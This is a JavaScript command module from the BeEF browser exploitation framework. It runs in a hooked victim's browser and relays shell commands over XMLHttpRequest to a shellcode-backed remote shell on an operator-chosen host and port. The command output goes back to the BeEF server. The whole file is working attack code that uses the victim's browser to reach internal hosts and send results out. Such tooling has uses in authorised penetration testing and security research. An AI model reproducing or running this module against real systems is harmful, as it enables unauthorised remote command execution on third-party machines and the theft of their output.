//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function () {
    var rhost = '<%= @rhost %>';
    var rport = '<%= @rport %>';
    var path = '<%= @path %>';
    var cmd = '<%= @cmd %>';
    var shellcode ='<%= @shellcode %>';

    var uri = "http://" + rhost + ":" + rport + path;

    strip_output = function(output){

        var offset = 0;
        for(var c in output){
            c = output.charAt(c);
            if(c.charCodeAt(0) == 0){
                break;
            }
            offset++;
        }
        return output.substring(0,offset);
    };

    var counter = 0;
    get_additional_cmd_results = function(){
        xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function(){
            if(xhr.readyState == 4){
                var result = strip_output(xhr.responseText);
                beef.debug("result.length: " + result.length);
                if(result.length != 0){
                    beef.debug("get_additional_cmd_results - readyState == 4: request [" + counter + "]\r\n" + result);
                    beef.net.send("<%= @command_url %>", <%= @command_id %>, result);
                        counter++;
                        setTimeout("get_additional_cmd_results()",500);
                        }
             }else{ // No more command results, ready to send another command.
                beef.debug("get_additional_cmd_results - readyState != 4: request [" + counter + "]");
            }
        };
        xhr.open("GET", uri, false);
        xhr.send(null);
    };

    get_prompt = function () {

        xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function(){
            if(xhr.readyState == 4){
                beef.debug("get_prompt: Retrieved prompt");
                var prompt = strip_output(xhr.responseText);
                beef.debug(prompt);
                beef.net.send("<%= @command_url %>", <%= @command_id %>, prompt);

                //send command
                send_command(cmd);
            }
        };
        xhr.open("GET", uri, false);
        xhr.send(null);
    };

    send_command = function(command){
        xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function(){
            var cmd_result = strip_output(xhr.responseText);
            beef.debug(cmd_result);
            beef.net.send("<%= @command_url %>", <%= @command_id %>, cmd_result);
        };
        xhr.open("POST", uri, false);
        xhr.setRequestHeader("Content-Type", "text/plain");
	if (shellcode == 'Linux'){
            command = "cmd=" + command + "\n"; // very important only LF
        }else{
            command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
        }
        xhr.send(command);
        setTimeout("get_additional_cmd_results()",500);
    };



get_prompt();

});

